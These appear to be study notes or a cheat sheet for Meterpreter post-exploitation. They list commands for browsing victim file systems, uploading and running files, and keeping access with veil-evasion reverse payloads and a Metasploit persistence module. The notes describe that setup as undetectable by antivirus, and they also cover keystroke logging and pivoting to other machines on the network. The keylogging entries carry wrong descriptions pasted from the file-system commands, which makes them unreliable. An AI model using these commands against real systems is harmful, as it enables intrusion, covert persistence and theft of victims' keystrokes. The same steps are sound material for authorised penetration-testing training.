Post Exploitation

Meterpreter Basics

• help - shows help
• background - backgrounds current session
• sessions -l - list all sessions
• sessions -i - interact with a certain session
• sysinfo - display system info
• ipconfig - displays infor about interfaces
• getuid - shows current user

File System Commands

• pwd - shows current working directory
• ls - list files in current working directory
• cd [location] - changes working directory
• cat [file] - prints the content of file on screen
• download [file] - downloads file
• upload [file] - uploads file
• execute -f [file] - executes file

Maintaining Access

• Using a veil-evasion

  • rev_http_service
  • rev_tcp_service
  • Use it instead of a normal backdoor
  • Or upload and execute from meterpreter
  • Does not always work

• Using persistence module

  • run persistence -h
  • Detectable by antivirus programs

• Using metasploit + veil-evasion = more rubust + undetectable by antivirus

  • use exploit/windows/local/persistence
  • set session [session id]
  • set exe::custom [backdoor location]
  • exploit

Key Logging

• Log all mouse/keyboard events

  • keyscan_start - shows current working directory
  • keyscan_dump - lists files in the current working directory
  • keyscan_stop - changes working directory to location
  • screenshot

Pivoting

• Use the hacked device as a pivot
• Try to gain access to other devices in the network